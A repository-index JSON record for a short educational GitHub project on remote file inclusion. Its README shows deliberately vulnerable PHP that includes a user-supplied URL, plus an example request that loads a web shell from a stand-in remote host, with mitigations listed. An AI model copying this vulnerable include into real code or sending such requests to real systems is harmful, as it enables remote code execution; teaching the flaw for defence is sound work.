{"id":20493874,"url":"https://github.com/qeeqbox/remote-file-inclusion","last_synced_at":"2026-02-06T23:02:27.844Z","repository":{"id":219662004,"uuid":"657054410","full_name":"qeeqbox/remote-file-inclusion","owner":"qeeqbox","description":"A threat actor may cause a vulnerable target to include/retrieve remote file","archived":false,"fork":false,"pushed_at":"2024-01-29T00:56:48.000Z","size":268,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-07-20T20:23:10.485Z","etag":null,"topics":["file","inclusion","infosecsimplified","qeeqbox","remote","vulnerability"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/qeeqbox.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2023-06-22T08:07:11.000Z","updated_at":"2024-01-29T00:56:53.000Z","dependencies_parsed_at":"2024-01-29T02:29:29.947Z","dependency_job_id":"9c1dedcf-62b0-4c33-a683-a365ccbab875","html_url":"https://github.com/qeeqbox/remote-file-inclusion","commit_stats":null,"previous_names":["qeeqbox/remote-file-inclusion"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/qeeqbox/remote-file-inclusion","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fremote-file-inclusion","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fremote-file-inclusion/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fremote-file-inclusion/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fremote-file-inclusion/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qeeqbox","download_url":"https://codeload.github.com/qeeqbox/remote-file-inclusion/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fremote-file-inclusion/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29179567,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-06T22:12:24.066Z","status":"ssl_error","status_checked_at":"2026-02-06T22:12:09.859Z","response_time":59,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["file","inclusion","infosecsimplified","qeeqbox","remote","vulnerability"],"created_at":"2024-11-15T17:37:12.551Z","updated_at":"2026-02-06T23:02:27.830Z","avatar_url":"https://github.com/qeeqbox.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e \u003cimg src=\"https://raw.githubusercontent.com/qeeqbox/remote-file-inclusion/main/remote-file-inclusion.png\"\u003e\u003c/p\u003e\n\nA threat actor may cause a vulnerable target to include/retrieve remote file\n\n## Example #1\n1. A threat actor uploads a PHP web shell to a temporary file service\n2. A threat actor sends a malicious request that includes the remote file name to a vulnerable target\n3. The vulnerable target executes malicious files as PHP\n\n## Code\n#### Target-Logic\n```php\n\n#allow_url_include = On\n\n\u003c?php\n  $file = $_GET[\"file\"];\n  include $file;\n?\u003e\n```\n\n#### Target-In\n```\nhttp://vulnerable.test/index.php?file=http://fileserver.test/shell.php\n```\n\n#### Target-Out\n```\nroot\n```\n\n## Impact\nHigh\n\n## Names\n- Remote file inclusion\n- RFI\n\n## Risk\n- Read \u0026 Write data\n- Command Execution\n\n## Redemption\n- Input validation\n- Whitelist\n\n## ID\ncb60059e-846f-40df-9dbd-e687e8d6960a\n\n## References\n- [Wikipedia](https://en.wikipedia.org/wiki/file_inclusion_vulnerability)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqeeqbox%2Fremote-file-inclusion","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fqeeqbox%2Fremote-file-inclusion","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqeeqbox%2Fremote-file-inclusion/lists"}